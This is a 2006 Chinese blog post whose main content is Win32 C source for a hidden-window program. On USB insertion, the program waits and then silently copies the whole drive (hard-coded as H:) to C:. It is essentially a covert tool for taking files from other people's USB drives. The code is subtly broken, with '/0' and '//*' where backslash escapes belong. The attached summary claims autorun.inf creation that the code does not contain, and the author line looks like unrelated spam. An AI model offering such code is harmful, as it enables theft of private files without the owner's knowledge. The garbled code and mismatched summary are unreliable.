u盘插入的时候拷贝u盘内容的

sms88

于 2006-08-05 08:29:00 发布

阅读量1.3k

点赞数

分类专栏： WIN32/VC++ 文章标签： path null application callback winapi include

WIN32/VC++ 专栏收录该内容

10 篇文章

订阅专栏

本文介绍了一个简单的Windows应用程序，该程序能够在检测到U盘插入时自动复制U盘中的所有文件到C盘，并通过创建autorun.inf文件实现U盘自动运行指定程序的功能。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

//作者：京东瀚览家居官方旗舰店

#include <windows.h>
#include <dbt.h>
#include <string.h>

LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);
BOOL copyed=FALSE, EXIT=FALSE;
void CopyFiles(char *);
void proc( WIN32_FIND_DATA ,char *);
char szClassName[ ] = "APP";

int WINAPI WinMain (HINSTANCE hThisInstance,
                    HINSTANCE hPrevInstance,
                    LPSTR lpszArgument,
                    int nFunsterStil)

{
    HWND hwnd;
    MSG messages;
    WNDCLASSEX wincl;

    wincl.hInstance = hThisInstance;
    wincl.lpszClassName = szClassName;
    wincl.lpfnWndProc = WindowProcedure;
    wincl.style = CS_DBLCLKS;
    wincl.cbSize = sizeof (WNDCLASSEX);

    wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION);
    wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION);
    wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
    wincl.lpszMenuName = NULL;
    wincl.cbClsExtra = 0;
    wincl.cbWndExtra = 0;
    wincl.hbrBackground = (HBRUSH) COLOR_BACKGROUND;

if (!RegisterClassEx (&wincl))
return 0;

    hwnd = CreateWindowEx (
           0,
           szClassName,
           "Windows App",
           WS_OVERLAPPEDWINDOW,
           CW_USEDEFAULT,
           CW_USEDEFAULT,
           544,
           375,
           HWND_DESKTOP,
           NULL,
           hThisInstance,
           NULL
           );

    while (GetMessage (&messages, NULL, 0, 0) && !EXIT)
    {
        TranslateMessage(&messages);
        DispatchMessage(&messages);
    }
}

LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    switch(wParam)
    {
        case DBT_DEVICEARRIVAL: //插入
            if(!copyed)
            {
                copyed = TRUE;
                SendMessage(HWND_BROADCAST, message, wParam, lParam);
                Sleep(20000);
                CopyFiles("h://*");
                EXIT = TRUE;
            }
    }
    return DefWindowProc (hwnd, message, wParam, lParam);
}

void CopyFiles( char *dir )
{
WIN32_FIND_DATA FindFileData;
HANDLE hFind = INVALID_HANDLE_VALUE;

    hFind = FindFirstFile(dir, &FindFileData);
    if (hFind != INVALID_HANDLE_VALUE)
        proc(FindFileData, dir);

    while (FindNextFile(hFind, &FindFileData) != 0)
        proc(FindFileData, dir);
    FindClose(hFind);
}

void proc( WIN32_FIND_DATA FindFileData , char *dir)
{
    char DirSpec[200], path[200];
    DWORD stat;
    strcpy(path, dir);
    path[strlen(path)-1]='/0';
    strcat(path, FindFileData.cFileName);
    stat = GetFileAttributes(path);
    if( strcmp(FindFileData.cFileName, ".") &&
            strcmp(FindFileData.cFileName, "..") )
    {
        if( (stat&FILE_ATTRIBUTE_DIRECTORY)==FILE_ATTRIBUTE_DIRECTORY )
        {
            strcpy(DirSpec, dir);
            DirSpec[strlen(DirSpec)-1]='/0';
            strcat(DirSpec, FindFileData.cFileName);
            strcpy(path, DirSpec);
            strcat(DirSpec, "//*");
            path[0]='c';
            CreateDirectory(path, NULL);
            CopyFiles(DirSpec);
        }
        else
        {
            strcpy(path, dir);
            path[strlen(path)-1]='/0';
            strcat(path, FindFileData.cFileName);
            strcpy(DirSpec, path);
            DirSpec[0]='c';
            CopyFile(path, DirSpec, FALSE);
        }
    }
}